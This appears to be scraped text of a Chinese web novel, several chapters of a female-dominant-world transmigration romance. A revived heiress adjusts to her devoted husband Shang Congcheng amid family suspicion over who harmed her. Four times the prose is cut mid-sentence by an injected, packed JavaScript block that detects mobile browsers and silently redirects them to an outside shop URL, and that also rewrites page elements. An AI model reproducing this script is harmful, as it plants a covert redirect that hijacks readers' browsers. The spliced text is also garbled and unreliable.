“若说成亲半年还不见得能看出什么,娘子昏迷的这一年里,我们都看得清清楚楚,郎君待娘子之心日月可鉴。” 姜宜年微微一笑,没再开口。 柯锦怕她不信,继续说道:“早先我很担心郎君会有别的想法,毕竟娘子当时的情况……实在不算乐观,大夫险些没能救回来。姜家无人操持,另外几房虎视眈眈,郎君不过是个柔弱的男人,男人总是没什么见识的,你们又才成婚半年……我担心郎君若是被什么人买通,或是劝走,娘子可就没有活路了,但他看起来丝毫没想过要走,硬是把所有事情全扛下来了。日复一日尽心竭力亲自伺候娘子,娘子今日能醒过来,不夸张地说,全是郎君的功劳。” 商琮琤的这些事迹姜宜年已经不是第一次听到了。 但每一次听到都会有不同的感受。 商琮琤哪里是什么柔弱的男人呢,听上去再也没有比他更可靠的男人了。 姜宜年抓住了其他重点。 “买通?”她挑眉问道:“你担心他会被谁买通?你这不是有怀疑的人么。” 柯锦抿紧嘴唇,许久,叹了口气,“但是没有证据啊。” 姜宜年知道她在怀疑谁,事实上那也是她觉得嫌疑最大的一群人。 她需要更多信息细化。 “你怀疑是几房做的?” 柯锦眼皮跳了一下,迟疑了一会儿,才开口道:“实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697245|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不清楚是几房,但我觉得除了他们没别人了。” “详细说说。” 柯锦问道:“听说娘子今日和二房的老爷起了冲突?也见到了另外两房的老爷?” “是。”她把自己跟柯玉看到的听到的全跟柯锦说了。 柯锦骂了句脏话,“……要我说,二房的郭氏嫌疑比另外两房大多了,他原本畏畏缩缩这不敢做那不敢说的,只敢在后宅兴风作浪,眼看着娘子像是醒不过来,郎君又把所有事情操持得那么好,便起了让自己儿子当家的心思,才这么往死了折腾我们郎君。” 姜宜年再一次抓住重点:“原本?什么意思?” “娘子刚出事那阵子,他就缩在二房当缩头乌龟,那时候郎君铁了心要找出凶手,还报了官,没两天官府说不管了,说是因为姜家的人出面说这事算了,不查了。郎君气得跟几房理论,把人聚在一起质问他们,没人肯承认,郎君说既然如此这事他会要求官府重新调查,要一查到底。郭氏便说,说不定是娘子你在外面招惹了什么不好惹的大人物,对方一点把柄都没留下,若是继续查下去,说不定会害了整个姜家,一口一个为姜家着想,畏畏缩缩像个大王八。” 柯锦说得口干舌燥,停顿了一下,继续道:“郭氏开头,三房、四房也跟着劝他。本来是劝不动的,谁知道郭氏找了个由头要把娘子你送到哪个庙里去治,说是神仙庇佑,在家比不上在外面,又拿郎君不吉来折辱他,折腾得差点儿让娘子丧命,郎君面对这么多压力,很难再查下去了。” “是因为成婚半年我就出了事,所以总说他不吉?” “也不全是因为这个,刚成婚三个月时,娘子的母父在弶洲坐商船时,遇到了水匪,意外溺亡了,后来娘子又出了事,所以他们才这么说郎君。” 柯锦顿了顿,小声道:“他们还说……郎君待字闺中时就克死了自己的母亲,来了姜家,姜家的人又接连出事,所以不吉。” 姜宜年心想,商琮琤这过的是什么日子。 看起来挺封建,听完这些,觉得他能活到现在,已经算是很坚强了。 不知道他听到那些话心里该有多苦涩。 原主昏迷的这一年以来,他是不是看着她一直不睁开的眼睛,也会想到或许那些人骂他骂得对? 是不是会觉得,确实自己就是个扫帚星呢? 商琮琤不应该这么想。 这样下去,他会被这些言论毁灭掉的。 柯锦见过姜宜年之后,终于放了心,又跟她说了许多的话,心情舒畅着走了。 她今晚暂时住在姜家,不出去,柯玉也有一段时间没见到姐姐了,两姐妹在房中说话。 姜宜年在书房待着,翻了翻博古架上的书,一转头不知道商琮琤是什么时候进来的。 “妻主跟柯锦说了这么长时间的话,一定累了。” “还好。”姜宜年看着他的眼睛,轻声开口:“你辛苦了。” 这是第二次姜宜年对他说辛苦了,但比头一次更真心实意。 9. 第9章 “我有什么可辛苦的,我今日几乎没做什么事。” 商琮琤微笑着说完,姜宜年的神色未变,轻声道:“我是说这一年。” “……” 商琮琤怔了一下,无奈地笑了一声,“柯锦柯玉这两姐妹真不愧是亲生的,妻主莫要听她们瞎说。” “听到的看到的,是真是假,我都会自己判断的。” 姜宜年已经熟悉了一部分商琮琤的性格,知道就算自己跟他掰扯这件事也没有意义,他的付出是实打实的。 所以,往后看吧。 姜宜年看到桌子上放着一沓沓厚厚的本子,先前她随手翻了两页,发现像是账本,问了商琮琤一句。 “是,基本上都在这里了,管事那里还有一份,按妻主以前说的,所有账目都记了两份。” 商琮琤走到博古架前,从上面放着的一个笔筒里取出一把钥匙,然后走到姜宜年身边,俯下身子打开了个柜子。 拿出一大串钥匙,还有个玉牌,还有一沓纸张出来。 姜宜年注意到,那里面还放有其他东西,像是银票,不知面额,应该不小。 商琮琤一一摆放在姜宜年面前,“这些是妻主昏迷之后,我暂为代管的东西,现在妻主醒了,物归原主。” 姜宜年咂舌,“我现在什么都不记得了,你不会指望我来管家吧?” 当然,姜宜年知道商琮琤的难处,妻主尚且健在,他一个男子,再把持着整个姜家,是说不过去的。 但是就算要管,也不可能是现在。 商琮琤笑笑,“自然不是此时此刻,妻主不必担心,我会帮助妻主的,只要……”他顿了顿,“……只要妻主信我。” 姜宜年正低头看着桌子上那堆东西,听到这话抬起眼皮看他。 商琮琤不知道此刻了不了解,在这个世界上,他可以说是姜宜年眼下最信任的人了,没有之一。 她问:“我为什么会不信任你呢?” “妻主如何想,我怎么会知道呢。”商琮琤笑笑,表情微微有些苦涩。 “不过无论妻主如何想,如何做,如何对我,我都只会做好自己应该做好的事。” 这话听着……怎么有点儿奇怪。 似乎有弦外之音。 姜宜年还没怎么琢磨出味道来,商琮琤跟她简单说了说那些东西的指配。 除了钥匙和账本,还有姜家的大量私产,田庄地皮,商铺古董,应有尽有。 商琮琤还主动提了放在柜子里的银票,说那是应急用的,给姜宜年报了个数字,她暂时没什么概念,但也知道那代表很多,很多很多。 他又说起每月的固定支出和进项,听得姜宜年头疼,直接叫停。 “我刚醒过来没多久……” 商琮琤先是微微一愣,然后笑了一声,“是我的错,过于着急了。” 姜宜年很想说是的。 商琮琤现在就是很像一个只想尽快把手里的烫手山芋转扔出去给别人的状态。 姜宜年很想说,看看吧,另外几房的老爷们,你们那么想要的东西,人家根本没想留着好不好。 又是一个甲之蜜糖乙之砒霜的故事。 “柯锦一直在外面忙,妻主若是有什么不了解的,问她也行。” 姜宜年打着哈哈说知道了。 两人离开书房前,姜宜年亲眼看着商琮琤郑重地把那些东西重新放回原位,落好了锁,轻轻松了口气。 回到卧房,她忍不住跟商琮琤说:“四房的情况我暂时没搞清楚,不过二房和三房似乎都对这份权力虎视眈眈。” 商琮琤点头,“或许是吧,他们把操持这些事想得太容易了。” 他对姜宜年笑笑,“也有我的原因,大抵是因为太瞧不上我,所以我勉强维持了姜家的日常运转,他们便觉得自己也可以,没什么难的。” 姜宜年不置可否地耸了耸肩,“我敢保证,无论交给他们其中的哪一个,不出半个月就全都乱套了。” 商琮琤是很有能力的,这一点毋庸置疑。 从这一年来姜家还没垮,以及不久前他条理清晰的那些讲解就能看得出来。 姜宜年这次醒过来,待机情况还不错,到了该睡觉的时候,她还没有觉得很困。 商琮琤给她提前备好了热水,姜宜年痛痛快快地洗了个澡,重新进了卧房,看到商琮琤正在整理床铺的背影,一时间整个人僵住了。 站得久了,甚至打了个喷嚏。 商琮琤立刻回头,“是不是着凉了?快往屋里走啊,门口有凉风。” 姜宜年咽了咽口水,被商琮琤拉进屋子里,他细心地检查门关好了没有,姜宜年则面露难色看着对方铺好的床。 完蛋。 难道他们两个要睡在一起吗? 姜宜年之前几乎没有思考过这个问题。 在今早再一次醒过来之后,发现自己的衣服被人换过,她脑子里其实闪过一些念头。 不过当时有其他重要的事情要做,她没机会深想,甚至觉得是柯玉做的比较合理。 到底是为什么会觉得这两个只是社会关系上是妻夫呢? 大概是因为……原主躺了一年? 姜宜年不会认为商琮琤日复一日、每一日都跟一个不知道什么时候就一命呜呼,再也醒不过的人躺在同一张床上。 那个场景想起来甚至觉得有些惊悚。 所以她以为这间房是属于她一个人的。 而商琮琤还有别的去处。 姜宜年微微皱眉。 是不是其实真的有啊?只是因为现在她醒了,所以商琮琤没办法就只能搬回来住了?碍于她正夫的这个身份? 那或许……跟商琮琤隐晦地说一说,让他再搬回去呢? “妻主站在那里干什么?”商琮琤紧张起来:“是不是哪里不舒服?” “没……”姜宜年说:“没有。” 商琮琤对她微笑,让她到床边去。 当着姜宜年的面,商琮琤拍了拍床铺,道:“我铺了一床被子在下面,这几日降温了,妻主可不能着凉,今晚先这样,妻主试试,若是夜里还觉得冷,明日让柯锦再购置两床棉被回来。” “不至于,没那么冷。”姜宜年今天听柯玉说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697246|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,现在还没到正儿八经的冬天呢。 姜宜年坐在床边,低头把玩自己的头发转移注意力,企图压下满腔的心烦意乱。 商琮琤在她身边坐下,轻声开口:“妻主怎么了?” 姜宜年看向他,还没开口,商琮琤猜测道:“是我今日说了太多话,让妻主心烦了吗?” “今早我起来,发现有人帮我换过衣裳,是柯玉做的吗?” “不。”商琮琤眨了下眼,道:“是我帮妻主换的。” “……” 当头棒喝。 这诡异的感觉。 姜宜年看着商琮琤,估计是表情出卖了她,商琮琤的眼神也变得小心起来。 “一直不知道当日害了妻主的元凶是谁,这院子里能裁撤的下人我全赶走了,只留下了这几个,但也不是全都信得过,跟妻主有关的事,全是我亲力亲为。” 一片深情啊。 如果面对的是原主,的确是这样,很感人,很难得。 可惜面对的是从现代穿过来的异时空灵魂,姜宜年只觉得别扭,甚至有点儿排斥。 “你不会一直都跟我睡在一起的吧?” “是啊。”商琮琤似乎没有觉得哪里不对,“大夫说妻主的情况复杂,不可掉以轻心,故而往常白日里,只能让吉枣和柯玉他们多上心看顾着,夜里由我守着妻主,便能多放心些。” 商琮琤的行事原则是,除非自己亲自来,否则谁来都信不过。 考虑的没错,只是…… “你不害怕吗?” 小时候有一段时间,姜宜年跟爷爷奶奶住在一起,跟奶奶睡在一张床上,有几次她醒了,奶奶还睡着,那过分安静的样子让她害怕。 姜宜年还学电视里的人一样在奶奶鼻子下面伸过手指头。 她不知道商琮琤有没有这样探过身边人的鼻息,有的话,发生过多少次。 他难道真的一点儿都不觉得恐怖吗? 姜宜年换位思考,如果是她,起码不会让自己一个人置身于这种随时会失去很重要的人的场景之中。 “我们是妻夫,怎么会害怕呢。” 商琮琤垂下眼睫,轻声开口:“我想过的,就算妻主再也醒不过来,第一个知道这个消息的只能是我。” 姜宜年:“……” 谁说这男人柔弱啊,这男人的内心可太强悍了。 “妻主,好端端怎么说起这些?” 好像姜宜年问的问题勾起了商琮琤的伤心事。 姜宜年深吸了一口气,缓缓吐了出去。 或许跟商琮琤相处,没别的,上真的就行。 她诚实开口道:“我什么都不记得了,你对我来说,现在并不是……一个熟悉的枕边人角色,所以我们睡在同一张床上,有点奇怪。” 姜宜年说完,商琮琤眼神闪过落寞,还好看起来不是十分伤心。 他看起来知书达理,可惜没打算顺姜宜年的意。 “我们是妻夫,即便妻主现在不记得这一点,我记得,外面的人也都可以证明,说不定妻主跟我在一起,才能更快的恢复记忆。” 10. 第10章 姜宜年罕见地睡不着,半边身子都快躺麻了,想翻身又不敢。 商琮琤在她旁边躺着,呼吸均匀,姜宜年还以为他睡着了,没一会儿—— “妻主睡不着吗?” 商琮琤轻声开口说话,姜宜年才发现这屋里的没一个睡着的。 “唔……大概是睡多了。” 姜宜年的思绪还停留在他们躺下之前的讨论上。 商琮琤没打算去别处,姜宜年便想争取自己睡到别处去,还没开口,商琮琤似乎误会了她的想法。 以为姜宜年是在担心他们的某种亲密互动,商琮琤脸红到了脖子根,主动说出“妻主刚醒过来,并且什么都不记得了,他知道这事应该暂缓”这样的话,表明自己不会强迫她。 姜宜年听得脸发热,支支吾吾含糊了什么她自己下一刻就忘了。 甚至忘了继续争取自己的躺平自由,不过姜宜年现在复盘下来,觉得就算当时继续争取,结果也只会失败。 她不想让商琮琤因为自己太过伤心。 自己代表的是商琮琤喜欢的、珍视的那个人。 虽然她和他没感情,但他们是有感情的。 商琮琤听了姜宜年的话,转过身改成侧躺的姿势。 姜宜年察觉到了对方灼热的目光,她轻抿嘴唇,不能当做没看到或是没感觉到,转头看向身边的人。 “你怎么了?也睡不着?”姜宜年主动发问。 商琮琤声线温柔,“已经好久了,没有感受过像现在这样,妻主躺着我身边,还清醒着的时候,有些不敢睡,担心做噩梦,或是突然醒过来,发现今日所有,才是梦。” 姜宜年抿紧嘴唇,内心被愧疚感充斥。 她没有说话。连句安慰的话也没说。 商琮琤垂下眼睫,轻声问道:“妻主,我想抱抱你,可以吗?” 姜宜年面露惊讶,脸上的犹豫十分明显。 他们并没有盖同一床被子,不久前,姜宜年以“不习惯”为由,最终为自己争取来了另一床被子,这像是她内心的安全堡垒。 拥抱,这一亲密行为,意味着这层安全堡垒就没有意义了。 姜宜年闭了下眼睛,在心里警告自己—— 矫情什么啊,在这个世界,他们两个就抱一下,还真说不好是谁被占便宜了,而且,看商琮琤的样子,说是抱抱,那就肯定只是抱抱。 “……好。” 虽然有等待的时间,但商琮琤得到这个肯定的答案还是挺高兴。 他掀开自己的被子一侧,然后轻轻拉开姜宜年的被子一角,只是将她的上半身露了出来,自己并没有一整个钻进她的被窝里去。 两人隔着这么一点障碍物,商琮琤小心地贴进姜宜年怀里。 他深吸一口气,喟叹一声:“……这样真好。” 姜宜年听得心里不是滋味,“你真的很希望我醒过来。” “当然。”商琮琤说:“日思夜想。” 他微微抬头,姜宜年看着他的眼睛,安安静静地听他说话。 “妻主大概不知道,我越来越绝望,越来越不觉得这世上会有心想事成的事情发生,没想到真的有,没想到真的能发生。” 姜宜年不知道该说什么好,她觉得自己是个无从辩驳的小偷。 虽然是被动接受现实,但依然可耻,可因为已经尝过了重生的滋味,她也舍不得放手。 姜宜年的手掌轻轻抚上商琮琤的后背,轻声开口:“我会照顾好你的,以后,你不用再像之前那样辛苦了,我会保护你,你也不用再担心有谁欺负你了。” 商琮琤原本的声音有一点忧伤,听到姜宜年说出这种话,他笑了一声,两人的拥抱更紧密了些。 他说:“妻主真好。” 姜宜年发现了,晚上的商琮琤跟白日里衣冠楚楚的商琮琤很不一样。 或许因为这种时刻只有他们两个,他会更容易展露自己的真实情绪,真实想法,还有想说的话。 姜宜年甚至感觉他似乎撒了个娇。 心里酥酥麻麻的,可惜刚生出那么一点旖旎的想法,又被排山倒海而来的愧意赶跑。 两人分开,各自安睡,两床被子之间的缝隙就是他们之间的界限。 姜宜年想,或许商琮琤以为她现在只是失忆了,总有一天他们会重归于好,但只有姜宜年最清楚,这条界限她永远不会跨过去。 虽然已经成了小偷,也还是要守住底线,保存最后一点点良知。 总不能花着人家的银子,住着人家的宅子,还睡人家的男人吧。 这太过分了。 姜宜年暗暗握了拳,下定决心。结束今日思考,这才闭上眼睛。 一大清早,天还没亮,姜宜年就被身上的重量压醒了。 原来除了自己的被子,商琮琤的被子也有一半压在她身上。 还有他整个人,几乎挤靠在姜宜年身边,热乎乎的脑袋埋在她脖子旁边,自己的半边肩膀露着。 屋子里凉飕飕的,姜宜年怕他感冒,给他拉了下被子。 就这么一个简单的动作,商琮琤就迷迷糊糊睁开眼睛了。 “妻主?怎么醒这么早?” 他声音哑哑的,带着刚刚苏醒的软糯,听起来非常招人。 商琮琤像是完全忘了睡前姜宜年多次强调的“不习惯”,条件反射一样往她身边凑。 不同于昨晚主动索取的那个拥抱还有些疏离,这个时候的动作完完全全是亲密无间的妻夫之间的下意识行为。 商琮琤趴在姜宜年颈边轻轻吐息,“时辰还早,妻主再睡一会儿。” 这个样子的商琮琤让姜宜年非常诧异,原来人真的是多面的。 同时,商琮琤的下意识行为也让她手足无措,不知道该怎么办好。 他看起来明显是还没睡醒,或许是刚好梦到了以前的事,醒了还以为自己没醒,忘却了这一年遇到的所有痛苦回忆,以为他们两个还是那对如胶似漆的甜蜜妻夫。 这时候叫醒他,提醒他,实在太残忍了。 可是…… 姜宜年还没想明白,商琮琤又睁开双眼,眼中还是迷蒙,嘴里小声嘟囔道:“妻主再睡一会儿吧,该起的时候,我会叫你的。” 说完就把自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697247|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手掌轻轻盖在姜宜年的眼睛上,姜宜年的睫毛扫过他的掌心,似乎听到他小声地笑了一下。 还没分辨出是不是错觉,商琮琤的另一只手放在姜宜年的腰间。 姜宜年身体僵硬,不一会儿,她觉得商琮琤睡着了。 不过她也被困意袭击,就这样,再次失去意识,陷入沉睡中去。 天光大亮之时,姜宜年睁开了眼睛。 她是突然听到院中有人走动的声音才醒过来的。 转头看向旁边,身边已经没人了,被子也叠得好好的。 姜宜年在心里吐槽自己这是睡得有多死,这都没发觉。 房门“吱呀”一声,有人进来,姜宜年问了句:“是谁?” 商琮琤走了进来,“妻主醒了啊。”他回头道:“吉枣,去备热水。” 姜宜年听到吉枣应了一声,揉着眼睛翻身坐起来。 “什么时辰了?” “辰时。”商琮琤靠近询问:“妻主睡得怎么样?” 能怎么样?这一觉……乱七八糟的。 “还好。”姜宜年问商琮琤:“你什么时候起来的?怎么不叫我?不是说好了该起的时候会叫我的吗?” 商琮琤一脸茫然,“什么?” 片刻,他轻笑一声,“妻主怕不是做了什么梦?” 姜宜年皱着眉头看着他。 做梦?他才做梦了呢。 不记得了吗?算了。那就当没有发生过好了。 姜宜年摇摇头,掀了被子打算下床,商琮琤蹲下帮她穿鞋,姜宜年一直说“不用了”,他也当没听见一样。 穿好之后,商琮琤抬头对她微笑,“这本就是我该做的,妻主不用顾忌什么。” 姜宜年下来,商琮琤又帮她拿了两身衣裳过来,问姜宜年想穿哪一套,姜宜年随便指了一套,他就放下另外的,过来要帮她穿衣服。 这种贴身服侍,先前姜宜年从来没有体会过,浑身不自在。 商琮琤却并不认为哪里不对似的,做得怡然自得。 姜宜年想到前一天柯玉原本也是想这样服侍她的,但她只是拒绝了一次,就起了效果。 对商琮琤……拒绝好像没用。 “我们是妻夫,本该如此。” 或者“这原本就是我该做的,妻主以后就会习惯了。” 想想他也只会说出这样的话,并不会改变自己的行为。 只能说……商琮琤被这个社会环境腌入味了。 吃早饭的时候,商琮琤像其他任何时候一样,把姜宜年照顾得无微不至。 姜宜年突然想起来一件事,问他:“你今日没去给二房请安吧?” 商琮琤神色如常,“没有,妻主专门叮嘱了不让我去,我自然不会违逆妻主的意思。” 姜宜年看了一眼柯玉,又看了一眼吉枣,见他们两个表情无异,知道商琮琤没有说谎。 很好,如果商琮琤真是做了两头讨好的事,她会气死的。 想起郭氏那个样子,她现在还会生气。 “不过这样实在不妥,父亲的伤势,我理应过去问候一下。” 11. 第11章 “问候?” 姜宜年本来想直接呛声一句,但思索了一下,面前的人被这时代背景熏透了,一时半会儿是觉醒不了的,只好顺着他的话随口说了两个字—— “可以。” 商琮琤点了下头,刚想吩咐吉枣去准备看望二房老爷的东西,发现姜宜年话还没说完,便没开口,等着她说。 “那我跟你一起去吧,不管他受的伤有多轻,毕竟是我造成的。你一个人去,难免他欺软怕硬,把对我的怒火全发到你身上,我们两个人一起去,他也不好多说什么。” 商琮琤眉头微蹙,“妻主也要去?” 姜宜年挑眉问他:“怎么?你不赞同?” “此番前去,父亲可能会发脾气……若是妻主跟我一起去,说不定会受些委屈。” “我不会受委屈的。”姜宜年笑笑,“我也不会再任由你在他那里受窝囊气。” 商琮琤表情有些无奈,似乎明白过来姜宜年为什么会提出跟他一起去了。 若郭氏为难,她还是会当场发作,到时候更难以收场,倒不如一开始就不去。 商琮琤说:“如若妻主不同意我去,直说便可。” 姜宜年“哦”了一声,语气平稳道:“我不同意。” 嘴比脑子快,她解释了一下,说:“倒也不是不同意,就是不想让你去。” 商琮琤唇角弯了弯,“好,妻主不想让我去,我就不去了。” 吃过早饭,柯锦跟商琮琤汇报工作,商琮琤希望姜宜年在场。 姜宜年想着商琮琤的意思是让她尽早熟悉工作内容,便同意了。 但是柯锦汇报工作直接进入正题,商琮琤当然全都听得懂,就连柯玉和吉枣也会因为他们的谈话内容露出不一样的表情。 只有姜宜年什么都不知道,什么都听不明白,越听越焦虑。 听着听着,她开始放空大脑,思考起别的有的没的来。 姜宜年在现代还在读大二,学的是小语种。 她突然想到,如果自己当初报的是别的专业,譬如工商管理、金融学之类的,放在这儿应该挺有用。 或者学点儿古代历史什么的,兴许也能派上用场……但她偏偏选了小语种。 当时到底是怎么想的呢? 想着大学毕业要脱离本身熟悉的环境大胆一把跑到国外去的,就去非热门的地方,没想到,还没扛到毕业,她的愿望居然实现了。 以这么离奇的方式。 女尊世界还不算冷门吗?简直要比她学的小语种还冷了。 姜宜年想着,轻笑了一声。 霎时间所有人都看向她,姜宜年猛然回神,觉得有点儿尴尬。 自己简直就像个不学无术的纨绔一样。 夫郎跟仆从都在努力工作,为了维持她的家族企业正常运转,她却什么忙都帮不上,听不懂就算了,开会还走神。 “抱歉,我什么都听不懂。” 虽然听不懂还闹了个小笑话,但是姜宜年觉得,无论何时,真诚都是必杀技。 商琮琤自然不会埋怨她,其他人更不会。 “是我的错,偏要妻主一起听,让妻主无聊了。” 姜宜年还没开口,柯锦道:“郎君也是没办法,所以才麻烦娘子坐镇。” “何出此言呢?” 柯锦解释道:“之前娘子还在昏迷中,郎君没法子,每每与我见面都是叫了吉枣、柯玉在侧,除此之外,其他人也不知道能相信谁。每次还都会房门大开,可即便如此,几房老爷们还是对郎君颇有微词。我总在外面奔跑忙碌,他们总要疑心,现下娘子醒了,郎君有娘子陪着,在几房老爷面前说话,也会多些底气。” 姜宜年听懂了,也听懂了她的言外之意。 柯锦跟原主年纪差不多,商琮琤又是代一家之主,他们两个来往必然是密切的,或许已经被说过不少难听的话了。 姜宜年点了点头,“你们继续吧。” 汇报结束,柯锦问姜宜年,自己可不可以这几日都回来住。 姜宜年下意识看向商琮琤,商琮琤微微一怔,不知道想到了什么,别过脸去。 怎么看起来有点儿不高兴? 姜宜年没再多想,问柯锦:“你忙得过来吗?” “当然,娘子醒了,我恨不得日日守在娘子身边。”柯锦笑着说:“可惜没法子,但就算只是每日回来能看到娘子安然无恙,心里也很高兴。” 姜宜年欣然同意。 柯锦今日还有别的事情要忙,匆匆离开,另外两个也退了出去。就像早会结束,一下子就只剩下姜宜年跟商琮琤两个人了。 姜宜年看他表情还是不太对,问他:“你怎么了?” 商琮琤似是斟酌了片刻,问姜宜年:“妻主想要了解一下跟姜家有关的事情吗?” 这是征询,还是建议呢? 姜宜年点头,两人移步到书房去。 商琮琤讲解得很详细,而且在姜宜年提出问题时,他每一次都会耐心解释,脾气很好。 姜宜年这一脉算是姜氏本家,但她的母亲女儿缘浅,那么多个儿子,独独只有她一个女儿。 明明是本家,却显得家族衰弱,后人凋零。 她母亲还在世时,对此非常在意,一直忧虑不已。 直到姜宜年主动提出要成亲,她母亲又惊又喜,连忙跟她父亲一起为她安排了整场婚事。 “等等,我以为我们是相亲认识的。” 先前姜宜年问商琮琤他们是怎么走到成亲这一步的,他说什么“年岁合适,性情相宜”,现在听起来,居然是自由恋爱吗? “相亲?” 聊到这种事,还是能看得出来,商琮琤是有一些羞涩的,他轻轻笑了笑,道:“算是吧。” 他说得含糊,似乎不愿做过多解释。 姜宜年想,看来这些事情还是要问别人,商琮琤根本不好意思详细说明。 商琮琤说,姜宜年的父亲只生了她一个女儿就坏了身子,此后一直怀不上。 为了多生女儿,她的母亲才纳了后面三房,没想到,生到最后,还是只有姜宜年一个女儿。 姜宜年叹了口气,开口道:“儿子也没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16697248|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不好,你就是最好的例子,这么多这么难的事,你做得这么好,我根本比不上你。” 商琮琤看着姜宜年笑了,“妻主从来没有改变过。” 姜宜年愣了一下,听这意思,原主也没有重女轻男的思想?那倒是挺先进的,放在现在来说。 不过,如果原主是这么开明的人,商琮琤跟她相处了那么久,没有被同化吗? 她想到了商琮琤对几房长辈的对抗,说不定那些就是。 已经很难得了。 “所以你刚才是怎么了?”姜宜年轻声询问。 商琮琤微微一愣,咬了下嘴唇,看着姜宜年的眼睛开口道:“我跟柯锦,从来都没有独自相处过,如她所说,每次见面,柯玉和吉枣都一定在场。” 这下换姜宜年发愣了,她笑笑,“我知道,她刚才不是说了么。” “我明白若是有更多其他不相关的人在场更有说服力,不过跟她讲的都是姜家的秘事,姜家……我不知道还能信谁,所以——” “我知道,我也都明白,你不必担心我听风就是雨。” 姜宜年这个时候才知道他不久前为什么看起来有点儿生气。 柯锦原本不用说那些话,或者他随口找个借口搪塞过去就好了,但柯锦直接说出了最根本的原因。 姜宜年信了,就皆大欢喜,如果姜宜年不信,就走向了另一个极端,会认为他们这是此地无银三百两。 从商琮琤的表情能看出来他稍稍松了口气,不过还是没有完全放松警惕。 “妻主信我就好,妻夫之间最忌讳生出龃龉。” “嗯。”姜宜年随意点了点头。 商琮琤看起来还在担心,姜宜年是想说点儿什么安慰他的,但实在不知道该怎么安慰。 算起来他们认识的时间还没有很久,突然被放进既定的身份角色中,成了这个人的妻主,姜宜年还没有完全调整好心态。 姜宜年面对其他人时可以放松更多,但在跟商琮琤相处之中不行。 过分热情亲密担心对方误会,但又不能过于冷漠,这中间的尺度很难把握,姜宜年觉得自己还需要一些琢磨的时间。 不过跟商琮琤比起来,姜宜年觉得,很难说他们两个谁更难。 不知道商琮琤嫁进姜家之前过的是什么样的日子,反正现在瞧着,他的一言一行,日复一日,都跟走钢丝没什么区别。 柯玉过来禀报,说有人来见姜宜年。 姜宜年依然习惯性地下意识去看商琮琤,顺口问:“是谁?” “是莫娘子。”柯玉回答道。 姜宜年原本想深问一两句,还没开口,商琮琤眉头微皱,问柯玉:“她是一个人来的吗?” “是,莫娘子一个人来的。” 商琮琤眉间松了松,转头跟姜宜年解释:“莫娘子莫邈,幼时跟妻主是同窗。” “发小啊?关系很好?” “倒不至于,只是相识得早些,有些同窗情谊。” 过来探望,听上去关系却没多好,还挺稀奇。 “带到偏厅去等我。”她说。 12. 第12章 亲眼看着姜宜年离开,商琮琤脸上的微笑一点点淡去。 “吉枣。” 吉枣听到主人唤他,进了屋子,回身轻轻关上了门。 “牛真查到什么了没有?” “没……”吉枣低头回答,顿了顿,道:“牛真昨日还来找了我,说是听说家主醒了,问我此事还要不要查,若是不查了,钱可不能退。” “呵。”商琮琤冷笑一声,“妻主都醒了,她还没查出来妻主昏迷前要找的男人是谁,也好意思说这种话,也好意思叫自己江湖包打听?” 吉枣没敢说话,咬着嘴唇低着头。 屋子里安静了一会儿。 “查。”商琮琤说:“我一定要知道妻主想找的那个男人是谁。” 过了一会儿,他叮嘱道:“不过跟她说清楚,此事若是被妻主知道了,后面的钱我不会给。” “是。” 商琮琤问:“今日我没去二房,郭氏作何反应?” 吉枣答:“骂了几句,不过碍于娘子醒了,性格还是一样的耿直,身边的下人都劝他这几日别来招惹娘子。” 商琮琤没说话,吉枣道:“这一年来,郎君一直怀疑是郭氏害了娘子,可现在看来,不像是他。” “我知道。”商琮琤轻声开口:“只是不知道如果不是郭氏,到底是谁……”他长睫开阖,问道:“另外两房呢?” “无事,跟往常一样,会说几句嘴。” “盯紧他们。” “是。” * “宜年!你真的醒了!我还道是仆从骗我,原来你真的醒了!” 姜宜年人还没走进偏厅,就被一个陌生人冲过来抱了个满怀。 她人傻了三秒,身上挂着的人自行退开。 入眼的是一张清秀的脸,眉头微蹙眨巴了几下眼睛看着她。 “你……” 莫邈眉头越皱越紧,“我是莫邈啊,宜年……你怎么了?怎么像是不记得我了一样?” 